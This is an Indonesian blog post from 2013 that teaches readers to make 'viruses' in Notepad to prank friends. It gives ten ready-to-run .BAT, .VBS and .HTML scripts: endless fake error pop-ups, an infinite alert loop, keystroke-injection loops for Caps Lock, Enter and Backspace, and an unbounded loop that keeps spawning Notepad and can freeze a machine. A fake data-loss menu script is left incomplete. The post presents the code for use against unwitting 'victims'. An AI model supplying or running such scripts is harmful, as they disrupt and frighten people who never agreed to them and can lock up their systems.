Sabtu, 01 Juni 2013

Virus.. Pasti Kalian tau Donk., Seringkali Kita Di Buat Jengkel Oleh Virus Di PC atau Laptop Kita. Nah, Kali ini Saya Akan Mengajarkan Kalian Bagaimana Cara Membuat VIRUS
Mungkin Untuk Menjahili Teman, Atau Semacamnya. Langsung Aja ( Buat Virus Menggunakan NotePad )



1.   Pesan Restart : ( save dalam ektensi .BAT ) 

     @ECHO off
     :Begin
     msg * WARNING !
     msg * Komputer anda error
     msg * Tidak ada cara lain
     msg * Harus diinstall ulang
     GOTO BEGIN

2.   Pesan Shutdown :  ( save dalam ektensi .BAT )

     Quote:
     @echo off
     msg * Komputer anda hank
     msg * Tidak ada jalan lain
     msg * Harus dishutdown
      
3.   Tombol Caps Lock hidup terus :  ( save dalam ektensi .VBS ) 

     Quote:
     Set wshShell =wscript.CreateObject("WScript.Shell") do
     wscript.sleep 100
     wshshell.sendkeys "{CAPSLOCK}" loop

4.   Terkena Virus : ( save dalam ektensi .HTML )

     <html>
     <head>
     <script type
     ="text/javascript">
     function display_alert()
     {
     alert("Komputer dalam ranjau virus !!")
     var b = true
     while (b == true){
     alert("Virus Trojan 5 !!")
     }}
     script>
     head>
     <body><input type="button" onclick="display_alert()"
     value="Submit" />body>
     html>center>

5.   Menekan Enter Terus Menerus :  ( save dalam ektensi .VBS ) 

     Quote:

     Set wshShell = wscript.CreateObject("WScript.Shell")
     do
     wscript.sleep 100
     wshshell.sendkeys "~(enter)"
     loop

 6.   Muncul Pesan Secara otomatis : ( save dalam ektensi .VBS )

     Quote:

     WScript.Sleep 180000
     WScript.Sleep 10000
     Set WshShell = WScript.CreateObject("WScript.Shell")
     WshShell.Run "notepad"
     WScript.Sleep 100
     WshShell.AppActivate "Notepad"
     WScript.Sleep 500
     WshShell.SendKeys "Hello"
     WScript.Sleep 500
     WshShell.SendKeys "how"
     WScript.Sleep 500
     WshShell.SendKeys "are"
     WScript.Sleep 500
     WshShell.SendKeys "you"
     WScript.Sleep 500
     WshShell.SendKeys " ? "
     WScript.Sleep 500
     WshShell.SendKeys "I"
     WScript.Sleep 500
     WshShell.SendKeys "m"
     WScript.Sleep 500
     WshShell.SendKeys "gho"
     WScript.Sleep 500
     WshShell.SendKeys " st"

7.   Backspace Jalan Terus-Menerus : ( save dalam ektensi .VBS ) 


     Quote:

     MsgBox "Let's go back a few steps"
     Set wshShell =wscript.CreateObject("WScript.Shell")
     do
     wscript.sleep 100
     wshshell.sendkeys "{bs}"
     loop


8.   Korban Harus Mengetik "You are crazy" Secara Terus-Menerus : ( save dalam ektensi .VBS )

     Quote:

     Set wshShell = wscript.CreateObject("WScript.Shell")
     do
     wscript.sleep 100
     wshshell.sendkeys "You are crazy"
     loop       


9.  Buka Notepad Terus-Menerus :  ( save dalam ektensi .BAT ) 

     Quote:

     @ECHO off
     :top
     START %SystemRoot%\system32\notepad.exe
     GOTO top

10.  5 (lima) Pesan Buat Korban : ( save dalam ektensi .BAT )

     Quote:

     @echo off
     title The end of the world
     cd C:\
     :menu
     cls
     echo Oops Tanggung Jawab Yah...
     pause
     echo Semua Ini Salahmu =P :
     echo 1. Semua Data Akan Hilang
     echo 2. Komputer Error
     echo 3. Komputer Kena Virus H5N1
     echo 4. Segera Matikan Komputernya
     echo 5. Good bye.....
     set input=nothing
     set /p input=Choice:
     if %input%==1 goto one
     if %input%==2 goto two




0 komentar:

Posting Komentar